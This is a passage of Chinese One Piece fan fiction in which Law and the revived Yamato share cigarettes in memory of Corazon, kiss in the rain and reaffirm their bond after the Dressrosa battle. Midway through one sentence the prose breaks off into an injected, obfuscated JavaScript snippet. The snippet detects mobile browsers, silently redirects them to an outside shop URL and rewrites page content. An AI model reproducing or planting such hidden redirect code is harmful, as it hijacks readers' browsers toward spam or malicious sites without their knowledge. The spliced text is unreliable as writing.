- 不过,罗实际上感受到的是比呼吸更为有力的心跳。 这原本是“不可能”的事件:在医学抢救的黄金时间之后隔了这么久——不止是几分钟,可能是十几分钟甚至更久——突然恢复生命特征。 “啥呀!什么情况?!”旁边原本静默的其他人自然也不是吃素的,慢慢都觉察到情况变化,一时间,一惊一乍的动静就像传染病一样,在这帮或海上、或陆上、或强者、或颇具潜力者之间蔓延开。 在场唯一职业确然为医生、且就跪在近旁的人在不可置信中一脸呆滞,竟然反而比得知死讯时更为手足无措。 太阳下山了,在这“逢魔时刻”,或许他们真地见了“鬼”:虎眼一般黑黄晦暗的天光下,琥珀色的双瞳奇迹般睁开。 在那生气勃勃的双眼之上,云雾环星般含泪的眸子光晕闪烁。两相对视数秒,后者终于像支持不住那样再次低垂下来,只不过这次伏在刚转醒之人肩头,泪珠和细细的叹息也一同碎在同伴胸口。 “……不会是‘回光返照’吧?”——其实这一想法转瞬间也曾飘过罗的脑中,只不过他已经快速排除了,却还是被其他人说出来了。 “别说话,弗兰奇,别说话。”罗宾将同样的话连着强调了两次,语气虽克制,但阻止同伴再破坏气氛的意思已十分清晰。 “道理我都懂,还是容我打扰一下……折腾这么一通,咱们要不还是按原计划先到居鲁士家里,再聊聊刚才都发生了啥?” 乌索普被差点忘在脑后的疲惫感再次攻击,替所有人说了句实在的。 “那……要不然先留下一个人照看一下,其他人先跟我回去休息,稍后我再折返回来……”居鲁士虽然也已经十分疲惫,但眼前这些人都是为了他的国家而战斗过的勇士,出于道义,他还是尽可能地想要照顾周全。 “我留下。” 三道声音同时响起,或许各有各的理由。其他人轮番看了看他们:“罗宾?” “这么重要的情景,我得亲眼见证,不然没法对娜美说明。” “什么情景……”乌索普满眼吐槽欲,但实在没力气追问,接着叫:“索隆?你还是别留下了,天黑后更容易迷路。” “少罗嗦。那家伙是在我眼前倒下去的,我得盯着他别再冷不丁地‘没’了,把他家船长又丢给我们照顾。”索隆头也不抬地回敬,按着刀走远了几步后,自觉差不多了便干脆盘腿坐定。 听完前面两人的理由后,不等乌索普再扭头确认,卡文迪许先主动抬起双手告退:“既然如此,那就交给你们同盟内部自行处理吧。部下还在港口候着,我得赶回船上先看一眼,明后天再见。” 讲好了暂时的分组,便各自散去或原地休整。 罗宾抚平裙摆也与索隆同坐,卡文迪许给她留下了自己的外套阻挡微寒的夜风,她谢过,也就没再客套地收下好意。 等目送其他人离去,枯坐了一会看日落月升,似乎从远处捕捉到些许对话,罗宾心满意足之余也终于有精力对同伴调侃:“没想到,才不过2天的同盟,很快也建立起羁绊了呢。” “没那回事。”索隆微微闭目养神的同时,还是分出些精力回答旁人,冷酷表示:“不过是一对‘没分寸的冒失鬼’和‘死要面子硬撑男’罢了。” 罗宾托腮想了想,忽地又笑容满面,“欸,真地很像呢。”一语双关。 - - 看似平静的一夜过去,其实许多事已在悄悄发生或酝酿改变; 无人真正细问那天傍晚花田里上演的起死复生,只看到晚些时候被草帽团两名海贼带回的同盟二人并头倒地就睡——的确也没给其他人答疑解惑的机会——即便问索隆与罗宾,一位是对不关心的事一问三不知,另一位则面带笑意对所掌握的信息讳莫如深。 革命军参谋长萨博午夜来访也是一重意外事件。不过闻说其身份和艾斯一样也是路飞的义兄,众人也就释然。倒是在听了萨博所言有关兄弟三人失散后,个人的遭遇,有几个经不住被他的重情重义所感动的家伙泪流不止、抱头痛哭,甚至把居鲁士家中的酒都就着故事喝了个一干二净。 看来许多人、许多往事交汇在德雷斯罗萨这片并不算十分宽广的热土上,不急于一夜之间讲完故事,也讲不完每个人的心事。 待到第二天一拨人醒来,轮到晚间担负过戒备任务的人睡去,如此“换班”配合而已。 罗一觉醒来之后,不用等其他人张嘴,先主动替依旧呼呼大睡的路飞看了看伤势,似乎昨日所作的包扎处理没什么问题,眼下只需接着静养。 确认完同盟的伤势暂时都没什么问题后,他便拉着同样刚醒来的船员,向其他负责白天值守的人道声暂时离去处理些私事,就带着会在返回时带回些酒水的承诺,离开了居鲁士的家。 屋外阴云低垂,预示晚间的路可能会变得有些泥泞。不过罗还是牵着好像没睡醒的大和,在破碎百废待兴的街上转了一会,买足了酒与物资,还难得从变成危楼的店铺商家手里淘到些难得的玩意,一并揣进背包里,向着废墟深处去了。 - “罗……?” 走了这么半天,大和也没搞明白他家船长到底要干啥。揉揉困倦的眼睛,还是认命地跟上。 罗听见困惑的叫声便回头瞥了一眼,手握失而复得之人又收紧了几分,停下来微微一笑道:“抱歉了,虽然可能把你留在士兵当家的那里睡觉更好,但我实在不放心……” 听见船长语气温柔地主动道歉,船员的脑瓜子立刻就醒了几分:事出“反常”令他反而紧张。反手抓住裹了半身绷带的船长,不懂就直接问:“你不是要把我领到不认识的地方,直接扔下就跑吧?” ——这难道形容的是“弃狗”吗? 罗听了一阵无语,估计是有人经历了心跳骤停十几分钟后,导致大脑缺氧、脑子更不好使了……他开玩笑的,他知道大和在意的是什么。 想了想,罗后退半步,贴近船员面前,郑重地注视对方双眼道:“这件事以后不再提了——我发誓不会再赶你走;这辈子,只要你没有充分的理由主动向我申请下船、恢复普通人的合法身份,我都不会再让你离开我半步。以后你的命,我负责。” 琥珀眸子微微眨动了两下,似乎还是脑子慢半拍地思考了一会,方挑眉又扬起嘴角:“好。”——他就这么买账了。 罗笑了,“一点也不记‘仇’吗?”说着,他自己先歉意地看了看对方,神情变得有些落寞。 “旧‘账’就一点点算。”重生后的男人却也不傻,说话间面露笑嘻嘻。 帽檐阴影中,罗的笑意从眼底溢出,“欸,”他轻叹一声,“可以。” “那我们接着走吧,船长~” 被转眼恢复神采之人催促后,船长略作思索,向四周看了看,干脆放手先将肩上的背囊暂时搁下,道:“算了。原本我也只是想借机再仔细看看这个国家,但走了这么久,除了废墟、还是废墟,看来昨天的大战把这里毁了个彻底,再走只怕也没什么看头。就在这吧。” “就在这?”白发披肩后更显柔美的人歪头不解地看看他、又扭头看看四周,蓝绿渐变的发尾随微风轻舞。 星灰色的眸回望一眼,“嗯。”他确认这里就够了,“帮我个忙。” 只见他用左手从口袋里掏出半盒好不容易买到的香烟,叼出一根来,“口袋里还有打火机,帮我点一下。”右手的断臂接上后,目前虽已止血,却还不太能灵活使用。眼下若要完成两手并用的事,就只好找旁人帮忙了。 “哦。”大和虽没注意对方是再什么时候买到这些东西——可能那会自己还在犯困——有些新奇地看看他,倒也听话配合地从他掏出香烟的口袋中找到了目标。“我还没见过罗抽烟。” 罗口含香烟,眉眼温软地看了看他,倒没急着解释。只是低头就着船员拨动的火苗吸了口气,旋即也就将引燃的香烟取下,顿了顿,先调转过来递向旁人。 “试试?” 大和见状有些发愣,不明就里,却还是看着船长的眼神,小心翼翼地接下。有些不知所措 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13785992|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但仍学着见到过的他人吸烟的样子,抿在唇间。 “稍微吸一口气,注意别太使劲。”船长在旁出言指导,像极了正在教“乖宝宝”学坏。 ——如果柯拉先生当年见到大和这样的孩子,想必也会很喜欢吧。如果知道他这样教坏好孩子,估计会骂他。 “啊,你吸的这一口太小了,看火星都没亮起来。”注意到船员初次尝试失败,罗又鼓励他再次尝试。 ——不过实在也难说,毕竟柯拉先生自己就是烟不离口的“大烟民”,指不定真能亲眼见到他们,反而会亲自教导大和吸烟呢。 反正无论如何,罗相信这两名差不多善良且温柔的人假使也会相遇,一定能融洽相处。 没有孩子会讨厌柯拉先生——就算唐吉诃德家族的坏孩子们也喜欢那位看起来笨拙脱线的大人; 见过大和的人也往往会对这位真诚可爱的青年心生好感——甚至就连海贼和敌人也不例外。 罗承认,在自己对大和的好感中,或多或少也像多弗朗明哥说的那样,带了点“寻找故人的影子”的动机。当然,他也脑子很清醒的明白,自己的爱不仅仅只限于这一点动机,还有更多如今已很难拆解的情感。 “咳咳……咳……” “——笨蛋,这次用力过头了。” 于他指导下再次尝试的人竟被一口烟呛到了。罗不禁好笑,打量着一双漂亮的明眸呛出泪花,抬手替对方轻轻拭去,顺便从对方唇间拈回香烟,将还剩下大半截的烟头倒放在手边的废墟上。 接着他低头又再次从烟盒中叼出一根来,依旧让身旁的同伴协助引燃。从口中取下后,缓缓地朝空中吐出烟气,方解释:“柯拉先生过去很爱抽烟,总是一根接着一根,不间断地抽,一天可能需要几包。” 那些年他和Baby-5等几个孩子也曾被烟气熏得在屋子里呆不下去,可想到这些,他一边还是将新点燃的香烟并排放在燃到一半的烟头旁,就好像续上了前面的一根。 “虽然从医学保健的角度,我不建议这么抽,但已经身在天堂的人,理论上应该也不会有肺病的困扰……吧。” 不再咳嗽后,大和就静静地在旁听着。老实说当看到年轻漂亮的船长从口中吐出烟气时近乎优雅的样子,他就目不转睛了。等注视罗在回忆中的侧脸时,他已抿着温柔的笑意,一面倾听、一面仔细观摩起来。 “柯拉先生点烟是件很吓人的事,他会脱线到把衣服点着,时常整个人在火光里打滚。” 罗在此时握着手中的烟盒又向大和示意了一下,原本只是尝试性的,没想到后者还真就点点头,学着他已经示范两次的样子,先拈出一支烟来叼在嘴里。正要低头点火,被罗亲手取下来。 “别用牙咬,听话,用嘴唇抿着就行了。”说着他才又放回大和口中,“点烟时的这一下,需要比吸烟时再多吸入一些空气——但还是别太用力,不行就我来。” 大和点点头表示明白,虽然怕再被那股辛辣的味道呛满鼻,但还是坚持自己试了下,并且侥幸一次成功了。望着火星在窄窄的条状香烟末端看似微弱却倔强地燃烧,变作青烟直直飘往天空,他好像惊喜的孩子那样挑眉,笑着随烟气飘散的方向抬头向上看去。 一滴雨水就在这时落在眉骨上,眼眸便受惊而眨动。他低下头,用手抹掉沿眉型走势滑落的水滴,直白地告诉旁人:“下雨了。” 罗注视眼前一幕幕鲜活而自然的演绎,看青烟从血色丰盈的唇间随呼气吐尽,辛辣酸甜莫名一齐涌进喉间,他急需一些慰藉。 便夺下夹着香烟的手,顾不得因动作粗暴抖落的烟灰烫到自己的手背——正好疼痛足以提醒他这不是做梦——贴在白发人面前,一口覆上同自己一样沾了烟火气的嘴。 云朵一样厚实的长发抚在纹遍死亡与笑容的掌下,从白色的区域顺至雀尾般蓝色的发梢。 放开裹挟在口中的红舌时,罗也并未立刻松手,仍按着手中的腰际紧盯对方的眼眸。“打杂的,差点忘了,还有件事得明说:你是我的人这事没跑,是同伴,也是恋人。我从没答应过分手。” 他说着,将恋人亲口点燃的香烟取下,也同样并排放在德雷斯罗萨的断壁残垣上,好像凭此天地见证下,一切就算板上钉钉。 雨点忽然一点一滴落下,好像天上给他的回答。 白发之人原本还是懵的,在雨的洗礼中,才缓缓回过味来,笑意点亮了眼眸。 “我知道。”曾一度在花丛间失了气息,又凭自我意志“爬”回来的人低声亦回答。 眼前的双眼倔强坚决,但只有恋人看得见其中的星芒面临破碎,面前的面庞英挺冷静,也只有他觉察到船长紧要的牙关下不肯表露的战栗。 “我知道,罗,”他又说,“我都听到了。我也爱你哦!” 青年的嘴角似乎轻轻上扬了一下,旋即状似恢复平静。目光又交错片刻,如雨水打湿的绸缎紧紧绞着。鼻尖像小动物互相轻蹭,鼻息融合着混入烟气与雨滴激起的尘埃气。双唇轻轻试探,碰到熟悉的柔软,然后才一发不可收拾,像要给出所有,又像要吞下一切收到的。 “……可是,罗,你的手臂……” “傻瓜,你在想什么!我才不会现在就做,况且做到一半你睡着了怎么办?” “哦……”船长说的可能性不是没有,他刚清醒了这么一会,现在就已经犯困了。 罗无奈却也意犹未尽地分开,再次拉起他的手,“走了,把东西拿着,先躲雨吧。” 天色说暗就暗了,或许一场大雨在所难免。在这片支离破碎的废墟上,想要找一片完整的屋檐谈何容易。两名年轻人迈着长腿在瓦砾间灵活地腾挪跳跃,终于跑出一段最凌乱的土地,暂停在一方干燥的荫蔽之下。 是临时的遮蔽,却也是危楼的一角:就像他们在伟大航道上的日子,每每有落脚的地方,却也不是算不上最后的归宿。不过这也无妨,在大海中,他们有船;暂别海贼船,他们有彼此。 风雨时长时短,也可能像今日这样入夜也下不完。青年船长将一半的怀抱给身旁已支撑不住昏睡的人倚靠,臂弯间满满的体温,如此就连远处人间的灯火也不令他羡慕。 ——好吧,还是有一丁点羡慕:如果他们能赶在雨下大之前找到间正经的房屋躲雨就好了;这是个失误。 但好在德雷斯罗萨是座夏岛,下雨也不嫌寒冷,甚至风从雨帘中穿来,拂开闷热,对更习惯多年寒冷气候的北海“少年”而言还颇宜人。 少年?哦不,他早已不是少年。他已了结年少时留下的执念,虽然九死一生,但终究又再次活了下来,是时候找寻活下来之后的意义。 想到这里,罗低下头来,鬼使神差地朝白发人鼻端探了探,感受到平和而微弱的气流拂在指尖,才又放心地莞尔。 “打杂的,”不管对方是否正在打瞌睡听不见,他还是轻声说,“你知道么?我告诉过自己,只有替柯拉先生成功阻止多弗朗明哥,才是我能真正获得自由的时刻……不过说真的,从昨天到现在,我还是不知道自由到底是什么样子。” 四下只有雨声,虽为天上水,但嘈嘈杂杂汇在地面,不似作答。 “不过既然活下来了,我想接着寻找自由的意义,还有柯拉先生曾提到的‘D’的意义。” “就当作你昨天重生之时,我也重活了一回。从今往后,陪我一起去找到这些答案吧。” 屋檐下两道呼吸轻巧地汇聚成相似的节拍,原本靠在他肩头的脑袋轻轻一抬,“嗯。”不知道从什么时候就已经醒的人用鼻尖轻轻戳了戳温暖的脖颈,气息直接铺洒在他的锁骨上,也省了他再伸手试探。 罗轻轻一笑,用下颌也轻轻蹭了蹭白发的发顶。听见说:“重生快乐。”